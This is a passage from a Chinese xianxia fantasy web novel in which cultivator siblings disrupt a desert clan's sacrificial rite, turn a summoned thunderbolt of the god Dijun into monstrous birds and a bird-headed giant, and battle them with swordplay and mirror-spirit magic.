少司命念完一段,包括场外的围观族人,在场所有参与祭祀的族人开始随着少司命的指令行四拜礼;当然石映心五人除外,他们只好奇地看着这一切,虽说这些人拜得也不那么整齐,但这么浩浩汤汤的一堆人,场景也有些壮观。 拜完之后就是奏乐跳迎神舞,当然跳得也不那么好看,比明易三人前几日看到的并无多少进步,这也是难得的。但事到临头,丑男人也得装模作样地摆出架势来见岳父母,要点是先骗自己陶醉。 但并不陶醉、非常清醒的五人就有些难受了,看这些群魔乱舞,听这些魔音绕耳,实在叫人心烦。越心烦越觉得时间漫长,几人的脸上都出现了一些不耐。 石映心倒还好,只是此刻她隐约有所察觉,抬起眼一看,昏暗的天色似乎被人间的嘈杂吵醒,正在暗中酝酿蓄势。这不是错觉,镜灵感到自己的心在蠢蠢欲动,仿佛有些激动。 她在期待什么? 终于,这乱七八糟的一切迎神歌舞结束了。 大司命和少司命显然也眼花耳乱起来,几次步履虚浮,但好在是回到了神像面前。稍作休整过后,全体又进行了一次四拜礼。这回结束了,大司命举起手中的拐杖,不远处的吴志立刻意会,大喊一声道:“点火!” 那几个拿着火把站在青铜鼎边上的侍卫便把手中的火把扔到鼎中,不多时,五座大鼎便烧起了热腾腾的火焰。 这火一烧,明易惊觉天色暗淡,明明才过巳正,这白日竟能全被天上的乌云所掩盖;五鼎火焰肆意扑腾着,倒像是人世间把天照亮了。 快了,他想。 三足乌族祭祀的神祇,传说中庇佑明家千秋万代的天神帝俊,应与他息息相关实际却毫无瓜葛的信仰……在将要感受她的神威之时,明易心中有千思万绪。这究竟是位什么样的神? 大司命高举手中的权杖,青铜鼎上的火光一片片照亮众人的脸庞,在瞳孔中倒映出仿佛来自异世界的光景,就在此刻凝聚成权杖三足乌首上的鸟目,顷刻绽放出刺眼的火焰,瞬间将权杖凭空点燃。 镜灵默不作声地照着一切,没人知道她平静面容下心中难以言喻的躁动,她这会还有空用灵识去探查一二,发现原来躁动的不是她的心,而是那面心镜;依旧模糊的镜面嗡嗡作响,像是被狂风暴雨撞击的窗户—— 石映心很不解,这是在闹腾什么呢? 好了,当务之急是召唤帝俊。她收回神识,集中注意力看向大司命,很快感到有一股陌生的天地灵力在他手中的权杖上萦绕,此刻正散发着常人不可见的灰色光芒,像是火焰烧出的黑烟。 就见大司命将点燃的权杖越举越高了,嘴里不停说着什么,石映心只听懂了最后一句: “……愿神威再临!” 镜灵眨了眼睛,下一刻她手中的帝血剑不受控地飞起,在她死死捏着剑柄的控制下,剑尖颤抖着指向天空。石映心奇怪地望去,正好捕捉到一条红线似游蛇一般绕着剑身往上飞快地游去,顺势迸发出直冲天际的红光—— 当此时,乌云密布的空中传来似鸟鸣又似雷鸣的巨响,只这一声便叫众人惊惧心颤,抬眼望去,眼睁睁见一道黑红的雷光如奔星坠落般急速而下—— 灰暗的世间被划开一道。 第158章 糟了,好像冲我来的。石映心有这样的预感。 “师姐,”小师妹着急地叫起来,“这是在干嘛啊!?” 不是她想干嘛,是帝血剑想干嘛。石映心来不及回复师妹,眼见那从天而降的雷光越发逼近,她发现自己的剑不受她控制地想要去迎接它,真是不乖。石映心咬着牙想把剑收回剑鞘,但阻力太大,叫她浑身跟着发抖。 “映心!”大师兄在边上喊道,“快把剑扔了!” 不行,不能扔。 石映心有预感,扔了肯定大事不妙;但接了雷光就是好事吗?肯定也不是。怎么办…… 雷光越发逼近,可怖的气势让广场上的族人们迸发出接二连三的尖叫,许多人撒开腿就想跑,场面一时混乱;不知谁在人群中喊了一声:“天神显灵!这是天神显灵!” 天神显灵?这些人逃跑的步伐竟被这句话说得犹豫起来。其实仔细想想,就是天雷也不一定劈到自己头上,但若是天神显灵,那这劈天盖地的洪福必须得接啊! 不知是谁带了个好头,人群齐刷刷地跪了下来,对着天、对着雷,对着广场中央的三足乌神像,万分虔诚地开始跪拜,嘴上念叨着朴实又贪婪的愿望。 就站在三足乌神像边上的郑银仁和楚汴二人,看着突 然跪下来的族人们,也是无比茫然。大司命问少司命:“楚汴,这雷是怎么回事!?” 楚汴微微摇了摇头,声音有些发紧:“不清楚。” “难道真是天神显灵?” 楚汴:“……古籍中不曾记载此事。” “古籍古籍,事事都问古籍,孤要你这个少司命有何用!”郑银仁下意识骂了一句,忽然想到什么,转身看向身后,“难道是那些外人同我们一起祭祀的缘故?这天雷究竟是……” 楚汴愣了愣,面具后的眉头皱了起来:“很有可能。” “罢了!”郑银仁压着怒火将手中的拐杖往地上一敲,“若真是他们招来的祸患,他们贵为名门正派的仙人也不能不管!最好祈祷真是天神显灵——” 仙人。 少司命被黄沙覆盖的双目望向前方。 话说回来这边的几位仙人。 眼见雷光越近,石映心依旧在顽强抵抗,几人都是心急如火。明易提着寒竹剑想上去帮忙,却听师妹叫了一声:“别过来!” 明易脚步一顿:“映心,快弃剑!” 石映心瞥了眼逼近的雷光,已经想到了办法:“你们离我远点!” “映心,你……” 话里话外是不弃剑的意思,明易又要上前,顾梦真伸手把他拉住,飞快道:“大师兄走吧走吧,我们就相信映心呗。” “是啊大师兄,”小师妹苦笑道,“师姐入元婴时那么可怖的雷劫都扛过去了,没理由打不过这道雷的。”听着也像在安慰自己。 乐鸿不知道听谁的,左看看右看看,等人做决定。 明易最终还是点了点头,几人适当退了一些距离,不远不近地关注着石映心的动静。曾换月眼中已是一片光亮,她不由得眯起眼睛:“师姐是要……接雷吗?” 确实是这样。 石映心不再抵抗帝血剑的激动,只稳稳地将它拿在手中避免它逃脱;与此同时,她源源不断地往剑中注入灵力,激发剑的战意,让其处于蓄势待发的战斗准备状态。 那雷光果真循剑而来,在祭祀广场上空隐隐约约忽明忽暗地兜了一圈后就锁定了方向,以迅雷不及掩耳之势直冲来袭;石映心这会其实没想太多,就当是她要蹭三足乌族祭祀惹的祸,那也就认了吧。 轰! 这一瞬的光亮就闪在她眼前,剑修并没有闭上眼睛,反倒是将剑往上一迎,稳稳接住了雷光,下一刻便感到战栗刺激的触觉顺着剑传入了手臂,一时分不清是痛还是麻木。 雷光很长,石映心感到它想尽数挤进剑中来,但被她的剑意抵在外头,一时在空中形成了僵局。 自然不可能坐以待毙,镜灵深呼一口气,对着雷光一眨眼睛,顿时感到体内爆发出蓬勃的力量。可人类弱小的肉身如何能承载神力,她感到自己的经脉仿佛要被撑破,整个人涨得要被空气挤出血来,此刻不能再等—— 剑修将这力量灌入帝血剑中,这会暂时拥有了充沛的、能驱使这把怪剑的力量。只见月白的剑光破开一道,剑气荡开不知何时发疯的狂沙浪风,眼前终于一片清明。 她的剑速飞快,每一招又有重力,舞起剑来空中炸闪,像是凭空飞出一把把凌厉的匕首,虽短竟不输黑红的雷光;剑鸣在风啸雷鸣中像黑海里急速滚来的浪花,每一声都是不可忽视的蓄势待发。 “这是……” 大师兄回复小师妹:“落雨飞花。” 石映心飞身一转,一脚踢起边上装得满满当当的箱子,数不清的三足乌神像腾空飞起,大的小的新的旧的乱七八糟地遮住了她的身影;但依旧可见她在其中轻盈舞剑。 她的帝血剑始终与雷光纠缠,似乎并不急着分离。几人原先因此奇怪,可见剑修一副从容不迫的模样,心中总有些信任。剑招步入尾声,就见石映心一跃而起,在空中牵引了雷光几招,忽地挥剑劈开—— 雷光竟就此被劈散,形成了无数黑红的光点,似落雨似飞花,尽数落入了数不清的三足乌神像之中。 看到这的明易总算松了口气,嘴角有些欣慰的笑意:“原来落雨飞花还有这般妙用。” 小师妹兴奋地鼓起掌来:“分散敌方势力啊,师姐好聪明!” 石映心也觉得自己很聪明,不过问题是这雷的能量太多了,他们昨日收集的三足乌神像还不够用,自然也不能留在她体内,得找个其他载体,比如…… 她的目光锁定了那一尊高大的三足乌神像。 这么大个,应该是够的。 于是剑修将余电在剑尖转了个球,快准狠地往广场中央一甩——黑红的光球逐渐逼近,很快盛满了大司命的瞳孔——“啊!” 惨叫伴随着失仪的跌倒,郑银仁吓得瘫倒在地,眼睁睁地看着那光球从他脑袋上飞过,稳稳地砸入了神像之中,不见了踪影? “呼……”他喘了口气,扶了扶脑袋上厚重的头饰,“怎么回事……楚汴!还不快来扶孤?” 楚汴也才回过神来,正要迈开步子去扶他,却见那融了光球的神像忽然开始发作,他警惕地顿住了脚步,眼见着面前石头做的神像越变越大、越变越壮……石头身躯像是有了血肉一般延展开来。动静可怖。 他感到自己的手被人拉了一把,差点一个踉跄摔下去,回头一看,是郑银仁搭着他的手站了起来,这会已经把头上的头饰摘了下来抱在怀里,同样双目发直地看着变化中的神像,呆呆地问他:“楚汴,这是……帝俊显灵?” 楚汴这时候的脑子有些无法可想,但他还是想了想道:“我想这是妖怪,城主。” 郑城主转头就要跑,一转头发现后头的情况怎么更糟,空中不知何时飞起数十只长相可怖的怪鸟,正在无差别地攻击着他的族人们,每个人都在惨叫连连抱头鼠窜。这究竟是怎么回事呢? 其实事情是这样的,大家想想也知道了,充满神力的雷光被分散入三足乌神像中,这些破旧的石头小东西还没别致到能容纳神力的程度;再加上这天雷来势汹汹,看起来很想要干点什么坏事,那怎么可能就这么被处理了呢,于是神像就变异了。 不过这已经是石映心处理过后的情况了,不然就凭那道天雷,劈死她之后应该还有很多余力处理其他小虾米。现在天雷神力被分散开,她和她的小伙伴们便能各自处理。 祭祀广场上很热闹,这些怪鸟似乎有些脑子,居然知道把人群往广场里赶,而不是任由他们逃到屋子里去——其实逃到屋子里也没用,毕竟怪鸟们会喷火,到时就更热闹了。 “救命啊!妖怪啊——” “啊啊啊不要杀我!你追那个老不死的不更快吗!” “仙人救命、仙人救命啊!” 石仙人从天而降,一剑将嘴里喷火的怪鸟劈开,看也没看身上着了火正在惨叫脱衣的族人,转头就去杀其 他鸟。 杀了几只后她就发现了,怪鸟们虽然丑得奇形怪状,但长得很有相似度,比如都有三足,并且和野鸡神似;前边她又觉得野鸡像三足乌,那是不是说明这些怪鸟就是三足乌呢? 要不活捉一只带回去看看,究竟是不是神鸟凤凰…… 她一边杀怪鸟一边在心中斟酌着,忽然听到有人在一群慌乱中叫她:“石仙人!石仙人!!” 石仙人把刚杀死的新鲜怪鸟劈开,转头望去,是郑银仁:他瞧着好狼狈,身上的祭服和发髻都是乱七八糟的,脸色也很乱七八糟,见她看来就慌慌张张地指向一边大喊道:“别管这些鸟了,那边我族神像变的妖怪越来越大了!” 石仙人往那边看了一眼,她其实时不时有注意的,这会已经长得有房屋那么高大,她颔首道:“这不还没变完?” 郑银仁抱头:“难道不是要趁着它还没变得更大然后赶紧杀了它吗!” “还没变完怎么知道它是好是坏?”石映心微微笑了一下,鼓起的脸颊上有一道黑血,“若是你们的帝俊显灵,那我杀了它岂不是坏了你们好事?” 郑银仁:…… 他一时无法反驳,只目瞪口呆地看着她。好在这时候他边上的楚汴喊道:“石仙人,方才你分散了雷的妖力,将它们散入神像之中才产生了这些怪鸟;我与大司命亲眼所见,那尊神像分明也被融入了妖力,岂会是我族的帝俊显灵?” “妖力?”石映心脑袋一歪,看向二人的眼里有残忍的真诚,“错了,这就是你们三足乌族一直祭祀崇拜的……帝俊神力。” 第159章 对于他们的不可置信,善解人意的石仙人其实很理解。 任谁得知自己长久以来祖祖辈辈祭祀的神祇是这样丑不拉几还会喷火伤人的“妖怪”,都会从灵魂里发出质疑的呐喊的,比如这样: “你胡说!帝俊乃是天地太阳神,神鸟凤凰化身;神通广大,向来对我族都是庇佑有加,就是落魄成这样的丑鸟,也不可能伤害他的子民!” “你看看、你看看——”大司命颤抖的手指着广场上的混乱绕了一圈,差点没给自己转晕,“这些鸟……这些妖怪,怎么可能是帝俊神力的化身!?你休要胡说!” 说完不等石映心回答,又拉着少司命问:“楚汴,你说是不是!?” 楚汴被他扯着胳膊,不做声地点了下头。 石映心瞅着二人自欺欺人,心中觉得有些可笑,不过也没再说什么,只留下一句“随你们信不信”,转身就飞走了。 她飞到正在杀鸟的大师兄边上,还没站稳就被大师兄扶住了,见他关怀的目光打量她:“映心,你感觉如何?” “我没事。”石映心摇摇头,又问,“大师兄,那神像怎么办?” 明易瞥了眼广场中央还在变大的三足乌神像,此时它的周身还萦绕着挥散不去的黑红色光芒,他微微摇头道:“这帝俊神力骇人,未成之时强行制止怕是要遭反噬,等它异变完再去杀了它也不迟。映心,你千万不能轻举妄动。” 石映心还想看这神像究竟能变多大呢,于是顺从地点了点头;余光瞥到什么,又说:“对了,还没看那花轿中的情况。” 明易这会就想盯着她不让她乱跑:“不就是些祭品,没什么好看的。” “可能有些好看的。”石映心却说,“方才我请神成功,帝俊既然要来,自然也得满足郑银仁他们的愿望。” 她要不提,明易还没想起这事,叹了口气道:“看来你已经知道了……所以他们举办今日的祭祀究竟是为了什么?” 石映心却不直说,朝他神秘一笑:“大师兄,你随我一起去看看便知道了。” 她不说他也要跟着去的:“好。” 比起这两人,其实是乐鸿最先考虑到这些在花轿中坐以待毙的“祭品”,拉着曾换月和顾梦真二人,主要围着十台花轿杀怪鸟;如此既能保护轿子中的祭品,也能保护族人。 不过他们一直没空去查看轿子里的情况,因为鸟实在太多了。等石映心和明易姗姗来迟时,顾梦真才连忙传递情况:“大师兄,映心!你们快看看轿子中有什么,这些怪鸟一直绕着这些轿子不肯走!” “是啊!”曾换月站在那支撑着符阵挡开怪鸟攻击,额上汗水一片,“它们都是冲轿子来的!” 乐鸿的听音棍已经甩出残影了:“劳烦二位了!” 明易和石映心对视一眼,穿过鸟群的攻击,一剑将轿帘劈开,就见里头坐着一个被五花大绑的男人,本来是缩成一团的,但见到有人来了,立刻挣扎着要起来,由于嘴巴被布封着,他只能瞪大血红的眼睛发出救命的哀求:“唔唔唔!” 石映心有些意外:“还活着。” “唔唔唔!” 明易打量了两眼:“你怎么穿女人的衣服?” “唔唔唔唔!” 暂时看不出这轿子中的人有什么特别的,于是二人把所有的轿子都掀开了,里头都是被五花大绑的、穿着女人衣服的活着的男人。 这时候那些怪鸟都被杀得差不多了,乐鸿拿着棍子跑来气喘吁吁地问:“他们怎么样了?” 曾换月也累得够呛:“都活得好好的,倒是我快要累死了。”要不是乐鸿拜托她保护这些轿子中的祭品,她才懒得管他们呢。 顾梦真往其中一个轿子中瞅了一眼,转回来道:“奇怪,没什么特别的啊,为什么这些怪鸟要这么攻击他们?” 明易正要说什么,却见方才不知道躲哪里去的郑银仁和楚汴,这会正在一群侍卫的簇拥下飞快地走了过来,郑银仁一来就脸色紧张地问:“轿中人可都还活着?” 说着不等他们回复,楚汴就要上前查看,但被明易拦下了:“都活着。” 楚汴看了看剑修手中的剑,吐出一口气道:“多谢几位仙人的保护,还请让楚某查看他们的情况。” “这么关心这些人啊?”曾换月抱起胸,没好气道,“方才怎么不见你们派两个侍卫过来帮我们打鸟?” “几位仙人法力高超,只怕我等凡人笨手笨脚,弄巧成拙。”楚汴瞥了眼不远处,语气越说越快,“那妖怪似乎快异变完成,还请让我们带着这些族人前去躲藏。” 顾梦真一听这话,不高兴道:“什么意思啊,你们去躲起来,留下我们对付那妖怪?” 郑银仁没忍住呛声道:“石仙人方才还说那不是妖怪,是天神显灵!” “是啊。”石仙人朝他一抬眉,“既然如此,就更不能让你们走了。” “你!”郑银仁气得指着几人的手都在发抖,“孤想明白了,你们扰乱祭祀,就是想害死我们是不是!” 顾梦 真“啪”一下把他的手打下来:“你没事吧?要真想你们死,方才我们杀那么多怪鸟做什么?直接任由它们把你们烧死咬死算了!” 那倒也是,可是:“既然如此,为何现在不让孤走?!” “你们走可以。”明易淡定道,“这些轿子中的人留下。” 郑银仁瞪大眼睛:“凭什么?都是我三足乌族的人!” 好脾气的乐鸿听到这都听不下去了:“若是你们真拿他们当人,为何要将他们作为祭品呢?” 好问题。那反被呛住郑银仁也不装了:“这些都是孤的族人,怎么处置他们还需要你们这些外人同意!?” 说着手一举,很有气势地命令道:“来人,将轿子中的祭品都带出来!” 随着他一声令下,身后的侍卫们纷纷……你看看我我看看你,一时僵在了原地没有动作。 郑城主:…… 真是太没面子了,他几乎要勃然大怒,但这怒火还未发出就被石映心随手挽剑花时闪过的冷光给浇灭。 郑城主:……要不算了。 就在他丢脸得进退为难时,忽然侍卫中有人喊了一声:“那是什么妖怪!?”随之而来有一声轰然的动静。 众人纷纷望去,就见一直在肆意变大的神像,这会终于长了有十二尺高;原先被掩盖着的、影影绰绰的身影,在逐渐散去的黑红光芒中慢慢显出它的真身——竟不再是神像或者怪鸟的模样,而是人类的躯体。 不过仅是这样一个普通的巨人是无法让在场所有人惊呆的,其特别有三: 一,它的身体是人,但脑袋是鸟头。这好理解,毕竟都说帝俊是凤凰的化身,先前也提到过了,“夋”本就是指鸟头人身的怪物。 二,这家伙没穿衣服。不过也是能理解的,原先的三足乌神像就没衣服穿,没理由变成怪物之后就多了衣服的。 三,因为它没穿衣服,所以大伙就将它看光了。此处的“看”倒没有任何情欲色彩,谁让它实在奇怪,不仅长了女人的·乳·房,还长了男人的·男·根·呢? 就是这么一个鸟头人身且不男不女像妖不像神的存在,看得凡人们都是一愣一愣的。 仙人们也是惊了一会,但很快回过神来,并且接受了这个设定。曾换月一言难尽道:“这就是……阴阳神的具象化?” 顾梦真扯了扯嘴角:“还真是……简单粗暴到过于直白了。” 石映心眯起眼睛:“帝俊是这样的模样?” “不是。”明易幽幽道,“我想这只是祂的一种化身罢了。” “咳……”乐鸿看向几位道友,“不知它想做什么,不过我们还是尽量保护这些族人……” 他话音未落,原本惊得鸦雀无声的人群忽然喧嚣起来,他们一边撕心裂肺地喊一边屁滚尿流地跑,作鸟兽散: “救命啊!妖怪啊——” “那些怪鸟怎么又活过来了?!!” “城主,快带我们去高禖殿躲啊!” …… 他们城主也正手足无措,连连喊着“快保护孤”;侍卫们拿出剑乱挥,没伤到自己人就算是武艺高超。 那些原本被仙人们斩杀的怪鸟,竟死而复活地重新展翅而飞,砍断的脖颈、翅膀等部位,被新长出的血肉粘结在一起,有些粘得不准,嘴巴对着尾巴,歪七扭八地活着了,对怪鸟们来说似乎没什么,还能显得更可怖一些。 与此同时,那鸟头人身的巨人(?)……暂且叫巨怪,它也开始行动,一步一步地走来,每一步都激起脚下的飞沙,留下深刻的脚印;它走得不快,目标似乎也不是三足乌族人,只是也不会刻意绕过他们,偶尔踩到或是踢飞几个瞧着也不像故意的。 乐鸿喊了一声“糟了”,紧接着就去杀鸟救人。 顾梦真和曾换月左右看看,整个祭祀广场乱得像是一大盆粥,那些怪鸟再喷喷火,真能趁热喝了。二师兄问:“杀不死怎么办啊?” 小师妹说:“这些都是僵尸鸟了吧?” “是那只巨怪的神力让死鸟复活。”大师兄稳重道,“看来我们得杀了巨怪。” 三师妹插嘴:“没那么容易。” 难得有映心这么说的时候,大家都很诧异,又听她冷静地说:“若不是我能照雷借力,方才可能就被劈死了。而且我能感到……雷中蕴含的神力是源源不断的,这真是帝俊显灵。” 第160章 差点要被劈死了!? 三人都听得心惊胆战。幸好那些死而复生的怪鸟速度和攻击力都下降了不少,那些凡人乱挥着武器不停乱跑倒是能勉强躲过,这也给师兄妹四人提供了短暂的商议时间,还是不能打不动脑子的战。 曾换月瞥了瞥那越走越近的巨怪,忍不住感叹道:“老天奶,怎么会有神长这样啊!看着不是很聪明的样子啊?” “不知道。”石映心摇摇头道,“不过我用照人之术和它打也没有几分胜算。” 顿了顿又说:“大师兄就不必试了吧。” 明易:…… 其实大伙明白她意思,她的照人之术算是一种作弊,能暂时借来超越本身的力量,虽不能维持长久,但大部分时候的昙花一现也够用;明易虽境界比她略高些,但实打实地论修为还真不一定,更何况是镜灵版石映心。 看了看沉默的大师兄,顾梦真把手一摊:“那怎么办?逃?” 明易看了眼不远处刷棍子的乐鸿:“乐鸿不会走。” 曾换月暴躁道:“打不赢帝俊还打不赢乐鸿吗?直接把他打晕扛走就是了!” “好主意!”顾梦真第一个赞同,撩起袖子道,“我现在就去给他来一下……” 大师兄叫住他:“梦真。” 三师妹:“我有个办法想一试。” 见师兄妹看来,她很快掩去面上的犹豫,摆出靠谱的模样:“方才接雷之后,我体内耗损严重,只怕不能再照帝俊;暂且不知是祂无念无想还是我功法有限,总之叫我捉摸不透……” 听到这里大伙都面色发紧,觉得问题很严峻了,又见她话锋一转道:“不过我最近正在修炼一种进阶功法,可将我作为剑修的修为尽数转为镜灵的照人之术,届时可再照神而不被反噬,并且也许能照出更多的东西。” 二师兄没听明白:“啊?” 小师妹双眼迷茫:“师姐,这是什么意思啊?” 她说得是有些含糊,好在大师兄很快理解了她的意思:“你是想暂时放弃剑修的修为,转化去当镜灵,从而尝试能不能照见帝俊?” 石映心看向明易,心想大师兄果然是很明白她的:“嗯,不然以我目前的修为照不透它的弱点。” 明易抿了唇静了会,耳边那巨怪的脚步声已然在人群喧嚣声中逼近,他皱起眉头,深深地看向石映心,似乎有很多问题,但这会只能先问:“这是什么功法?” 石映心睁着澄澈的眼睛:“不知道,还没试过。” 三人:……要不别闹了吧映心(师姐)。 这时有几只不长眼的怪鸟撞上来,四人便抽空斩杀了几只,见那些被四分五裂的鸟摔在地上,蠕动蠕动蛄蛹蛄蛹地又要重新粘合起来,心中都有些犯恶心。 石映心看向走得很慢、但实际已经离她们不远的巨怪,还有广场边上被怪鸟喷火往回赶的族人……不容置疑道:“你们先拖住她,我需要时间施法。” “映心!”明易看着师妹的眼中有许多不解和忧愁,“你何必为他们做到这份上?” “不是为他们。”石映心摇摇头道,“只是我想。” “你究竟想要什么?” “这也是我想明白的。”镜灵说。 不管她想要什么,只要是她想去做的就会去做;大概是出于一种无奈的信任,一般情况下她师兄妹只能选择 配合。 可以确定帝俊巨怪是冲他们来的,一是他压根不管那些像蚂蚁一样乱跑的族人们;二是祂逼近几人时,竟然弯下腰来要去捉谁——显然是石映心。 鸟嘴吐不出人话,自然也不必问祂为什么。 石映心适当地退了一些距离,为她的师兄妹们腾空间发挥;那些族人们早就跑得远远的,由于大部分怪鸟都死而复生许多次,攻击力下降许多,所以一些族人得以摆脱它们在广场周边的围剿,见缝插针地往家里跑去—— 这样造成后果是引走不少怪鸟去居住区,灰黄的风沙之中,丑陋的怪鸟们喷出火焰,城中飘起了星星点点的火光。 场面逐渐失控。 先前师妹说“大师兄就不必试了吧”的时候,明易只听进去一些,这会真的和巨怪对打起来,才是深有感触。 这巨怪竟是刀剑不入的,明明看着是人类的**,但他的寒竹剑刺去时,却会有一道神力屏障将他弹开;若是被惹得发狠了、忘情了,竭尽全力地去出招,倒也能给祂造成伤害,只不过眼见着巨怪身上的口子飞速恢复,气都没喘匀的明易心中越发不安。 巨怪要去抓石映心,三人的目的是阻止祂。巨怪的手穿过符修围起的符阵,数张符箓瞬间自燃而尽;器修将“鬼打墙”堵在祂跟前,巨怪一脚踏入消失了半边的身影,另一脚再迈入时,顾梦真手中的小石头“砰”地一声碎成渣渣。 二人:…… 明易倒是能和他过招,身姿矫健的的剑修将寒竹剑破开神力屏障、穿透巨怪的掌心,一剑将其劈开两半,喷涌而出的黑红血液渗透了剑修的衣衫,被劈开两半的手掌却不急着复原,像张开的嘴巴一般要去咬他。 明易飞身躲过,喘了一口气,朝师弟师妹传密音:“我转移祂注意力,你们攻击祂心脏。” 曾换月在密音中大叫:“我的爆破符根本炸不破祂的皮肉!” 明易:“增加张数,集中突破试试。” 小师妹:行吧,量是管够的,闭关时画了不少。 顾梦真的声音听着很心疼:“它直接把我的宝器毁了!” 明易:“之后我为你向万事堂申请任务补贴。” 二师弟:那……好说好说。 乐鸿匆匆跑来:“几位哪里需要我帮忙?” 明易:“你看好这些轿子就行。” 小和尚:匆匆跑走。 明易统筹规划好,看向在一边打坐的石映心,见她在环绕的灵气屏障中将帝血剑悬浮立于身前,正源源不断地从剑中汲取……等等,那黑黑红红的不是帝俊神力吗?! 大师兄没看错。方才石映心用帝血剑接雷,她感到自己的宝贝佩剑很渴望这股神力,当她将神力分散打出时剑似乎很不乐意,善良的剑修于是就贴心地给它留存一点,想着等会指不定有派上用场的时候。 等会就是现在。 她打算用这股神力冲破她的心镜……嗯嗯,方才和师兄妹说的是她“正在修炼一种进阶功法”,没说已经修成了,不算骗人。 她在照雷借力时,虽说浑身快要被神力撑到爆炸,但聪明的镜灵很快发现她能将神力化为己用;这让她想到迟迟突破不了的照人之术。其实她早有猜想,也许以她日常修炼的灵力已经很难对其产生作用…… 也许心镜想要的并不是普通的天地灵力,但石映心一直没有机会试试看别的——现在这机会不就来了? 于是在人们鸡飞狗跳、怪鸟乱飞喷火,师兄妹们齐心协力对抗巨怪的这一片混乱之中,她面色平静、气场稳妥地在那打坐,专心致志地汲取着帝血剑中储存的帝俊神力,试图原地进阶修为。 太大胆了映心。明易对她总是很无奈。难道这样提心吊胆的惊悚就是动心的感觉吗? 石映心将神力不断地汇入心镜之中,镜面发出嗡嗡的激动声,像一个饿得要死的婴儿,贪婪地汲取着成长的乳汁时顺便还要控诉某些人太不负责了,多久才给点吃的? 石映心的灵识站在心镜面前左看看右看看,瞅着镜中的人影逐渐清晰起来,慢慢地从一团黑变得有了色彩,依稀可见是个女人。 这是谁呢? 镜灵没由来地生起一股熟悉感,她在镜面前……或是在镜面中看着她,仿佛这么看了许久。 人影后的空白应映照过很多景色:像是野蛮的春绿中冒出的小兽,灼热的黄土地裂缝里长出的干草,潦草的落叶胡乱将她的视线掩盖,结冰的镜面上描绘着新奇的雪花…… 这一切又近又远,像有听没有懂的话从她脑内流过,只留下了空白的、存在过的印象。 原以为站在镜子面前,镜中人理所当然便是她石映心;如今一看却不是她,那她是谁?怎么会存在她的心镜之中? 这究竟是…… 她看着镜中人想得几乎灵魂出窍,帝俊神力却依旧在源源不断地汇入其中,让镜面越发散出黑红交白的光芒;心镜如被暴雨灌溉的枯泉,哗哗哗地堆起水深,直到再也容不下一滴,于是光像烟花一般从镜中爆裂开来—— 石映心猛然回过神,双眸终于睁开,瞳孔中已失去了凡人的神色,宛若两颗黑得毫无杂质的石头。 她照见了——沙漠中被迷雾笼罩的三足乌城,城门外的子福泉穿过黄沙,连结了幽暗地底下埋藏的高禖殿;尸骨中溢出的血液从遥远的地方一粒沙一粒沙地渗透而来,汇聚在祭祀广场神像的三足之下。 她照见了——飞舞的听音棍打下扭曲的怪鸟,砸在一具被踩踏而死的人尸边上,鸟头与人头是同样的死状,脑浆迸裂、五官错位,七窍流血;比大地上的血色还艳丽的十台花轿之中,祭品们蜷缩成婴儿模样在发抖的躯体。 她照见了——小师妹将巨怪的胸口炸出了一个大洞,二师兄的“找不着迷罩”堪堪罩住了祂的脑袋让祂迷失方向;大师兄躲开两只四瓣的手掌的袭击,用寒竹剑挑出那颗跳动的血红心脏,在空中切成了两半。 顷刻间,像是太阳炸裂,灭顶之灾将要来临,无数的血雨从空中落下,世间的一切都无处可逃—— 可祂没死。 祂不需要心脏,不需要肉身,不需要千秋万代的祭祀、万古长存的美名,牠只想要的是—— 仅属于她本身的神格。 ——镜灵照见了。【】 160-170 第161章 帝血剑…… 帝血剑! 心镜中飞出一只燃烧的火鸟,石映心将祂握在手中,睁眼一看,剑面上有一道似蛇似鸟的红影绕着她死寂的双眼游过。 她明白了,原来能杀死神的只有神自身。 这便是镜灵存在的意义吗? 将巨怪心脏劈开的明易,身上避免不了被溅上大片的血花,一瞬间有灼烧般的疼痛传来,好在只是烫了些,并不会真的腐蚀肌肤;可其余遭殃的族人已经六神无主,一点点的惊吓便让他们惨叫连连。 他转头望去,巨怪胸上的大洞早已经复原,不知里头是否有新长一颗心脏出来。明易微蹙着眉头,打了这么久,他依旧没想出能完全将祂制服的办法。 还有映心…… 想到这,他下意识转头看向石映心的方向,正巧见她站了起来,手上握着帝血剑,神情很木然。纷乱之中,她不动如山,灵力荡开的气势仿佛将她隔绝于世,远远望着她,让人心中生起危险的安定感。 映心……? 下一刻,就见她双眸一定,两手在胸前比划着陌生的手诀,周遭旋转起黑红交错的灵光,在她面前织起恍若镜面一般的形状,帝血剑在其中飞速旋转、气势汹汹。 明易很快认出这不是归壹派的功法,眼见石映心蓄势发作,连忙朝小师妹和二师弟喊道:“快让开!” 二人刚打完一回合,本在趁着巨怪恢复的间隙喘气休息,同样也在夹缝中 密切观察着石映心的情况,甚至有些看迷瞪了;这会一听见大师兄的喊声,连忙拔腿就飞。 这时的石映心和巨怪之间再没有外人,风卷着血沙路过,被已经恢复原样的巨怪的手臂穿破;布满剑伤的手掌微微张开,凝聚起一团黑乎乎的灵球,越逼近石映心时越大,周遭的空气风沙尽数被卷入其中—— “师姐!”小师妹下意识喊了一声。 “嘘。”二师兄拉住她。 黄沙漫天,就见巨怪握着黑球的手很快逼近了石映心,一下将她整个人罩入了迷蒙的黑雾之中,她却浑然不觉一般,悄无声息。 明易捏着剑的手逐渐发紧,他的呼吸缓慢到没有起伏,双眸一错不错地盯着师妹的景况。他自知能破局者是石映心而不是他,更何况他也不想上演所谓的英雄救美的戏码。 也许他早该意会到,映心最想要的不是帮助,而是他们毫无保留的信任。 铮! 帝血剑在黑雾之中发出剑鸣,黑雾随着空气被震荡出层层波浪,刹那间一道剑光自黑暗中以破竹之势划开黑暗,直直穿过巨怪的手掌却毫无凝滞,依旧势不可当地往前飞去—— 剑身在漫天黄沙中亮得可怕,如一颗急速坠落的奔星,飞奔间绽放出刺眼的焰火,那是剑意,紧跟着伴随一声响破天际的鸣叫——竟是凤凰?! 曾换月怔然地、目不转睛地看着帝血剑的动向,也不知是不是因为它飞得太快,加上伴随的火焰为它添了许多骇人气场,有时眨眼乍一看,甚至分不清空中飞的是凤凰还是帝血剑。 它想做什么? 帝血剑朝巨怪飞去,先是一击从祂的脑壳中央穿过,就见鸟头的额间流下了一条血色花钿;这也不是它的最终目的,就见它绕着巨怪飞了一圈,猛地一顿急转直下,以迅雷不及掩耳之势在众人都未反应过来之时—— 切下了巨怪·的·男·根。 曾换月:OO 她边上的顾梦真:OO 